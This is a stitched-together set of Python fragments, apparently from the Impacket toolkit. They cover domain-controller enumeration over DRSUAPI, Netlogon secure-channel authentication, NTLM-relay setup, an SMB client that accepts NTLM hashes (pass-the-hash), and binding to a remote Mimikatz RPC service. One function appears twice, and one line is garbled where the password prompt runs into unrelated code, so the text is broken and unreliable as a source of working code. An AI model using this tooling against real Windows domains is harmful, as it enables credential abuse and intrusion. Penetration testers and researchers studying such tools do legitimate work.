def getDomainControllers(self): logging.debug('Calling DRSDomainControllerInfo()') stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_DRSUAPI) request = DRSBind() request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID drs = DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = dce.request(request) dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1) dce.disconnect() domainControllers = list() for dc in dcs['pmsgOut']['V1']['rItems']: logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1]) domainControllers.append(dc['DnsHostName'][:-1]) return domainControllers
def create_rpc_con(self, pipe): # Here we build the DCE/RPC connection self.pipe = pipe binding_strings = dict() binding_strings['srvsvc'] = srvs.MSRPC_UUID_SRVS binding_strings['wkssvc'] = wkst.MSRPC_UUID_WKST binding_strings['samr'] = samr.MSRPC_UUID_SAMR binding_strings['svcctl'] = scmr.MSRPC_UUID_SCMR binding_strings['drsuapi'] = drsuapi.MSRPC_UUID_DRSUAPI if self.pipe == r'\drsuapi': string_binding = epm.hept_map(self.host, drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) else: rpctransport = transport.SMBTransport(self.host, self.port, self.pipe, username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) # SET TIMEOUT rpctransport.set_connect_timeout(self.timeout) dce = rpctransport.get_dce_rpc() if self.pipe == r'\drsuapi': dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) try: dce.connect() except socket.error: self.rpc_connection = None else: dce.bind(binding_strings[self.pipe[1:]]) self.rpc_connection = dce
def dump(self, remoteName, remoteHost): stringbinding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') logging.info('StringBinding %s' % stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.setRemoteHost(remoteHost) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, remoteName + '\x00', b'12345678') # resp.dump() serverChallenge = resp['ServerChallenge'] ntHash = unhexlify(self.__nthash) self.sessionKey = nrpc.ComputeSessionKeyStrongKey( self.__password, b'12345678', serverChallenge, ntHash) self.ppp = nrpc.ComputeNetlogonCredential(b'12345678', self.sessionKey) try: resp = nrpc.hNetrServerAuthenticate3( dce, NULL, self.__username + '\x00', nrpc. NETLOGON_SECURE_CHANNEL_TYPE.TrustedDnsDomainSecureChannel, remoteName + '\x00', self.ppp, 0x600FFFFF) # resp.dump() except Exception as e: if str(e).find('STATUS_DOWNGRADE_DETECTED') < 0: raise self.clientStoredCredential = pack('<Q', unpack('<Q', self.ppp)[0] + 10) return dce, rpctransport
def __init__(self, serverConfig, target, targetPort=None, extendedSecurity=True): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.endpoint = serverConfig.rpc_mode self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI LOG.debug( "Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding" % (target.netloc, self.endpoint)) self.stringbinding = epm.hept_map(target.netloc, self.endpoint_uuid, protocol='ncacn_ip_tcp') LOG.debug("%s stringbinding is %s" % (self.endpoint, self.stringbinding))
def getDomainControllers(self): logging.debug('Calling DRSDomainControllerInfo()') stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp') rpctransport = transport.DCERPCTransportFactory(stringBinding) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash) dce = rpctransport.get_dce_rpc() dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(MSRPC_UUID_DRSUAPI) request = DRSBind() request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID drs = DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = NULLGUID drs['dwExtCaps'] = 127 request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(str(drs)) resp = dce.request(request) dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1) dce.disconnect() domainControllers = list() for dc in dcs['pmsgOut']['V1']['rItems']: logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1]) domainControllers.append(dc['DnsHostName'][:-1]) return domainControllers
def main(): # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if options.target_ip is None: options.target_ip = address if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:"******"Executing commands from %s" % options.file.name) for line in options.file.readlines(): if line[0] != '#': print("# %s" % line, end=' ') shell.onecmd(line) else: print(line, end=' ') else: shell.cmdloop() except Exception as e: logging.debug("Exception:", exc_info=True) logging.error(str(e))
dce = rpctransport2.get_dce_rpc() if options.k: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(mimilib.MSRPC_UUID_MIMIKATZ) bound = True except Exception, e: if str(e).find('ept_s_not_registered') >=0: # Let's try ncacn_ip_tcp stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') else: raise else: stringBinding = epm.hept_map(address, mimilib.MSRPC_UUID_MIMIKATZ, protocol = 'ncacn_ip_tcp') if bound is False: rpctransport = DCERPCTransportFactory(stringBinding) rpctransport.set_credentials(username, password, domain, lmhash, nthash, options.aesKey) dce = rpctransport.get_dce_rpc() if options.k is True: rpctransport.set_kerberos(True, options.dc_ip) dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) rpctransport.set_credentials(username, password, domain, lmhash, nthash) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) dce.connect() dce.bind(mimilib.MSRPC_UUID_MIMIKATZ) shell = MimikatzShell(dce)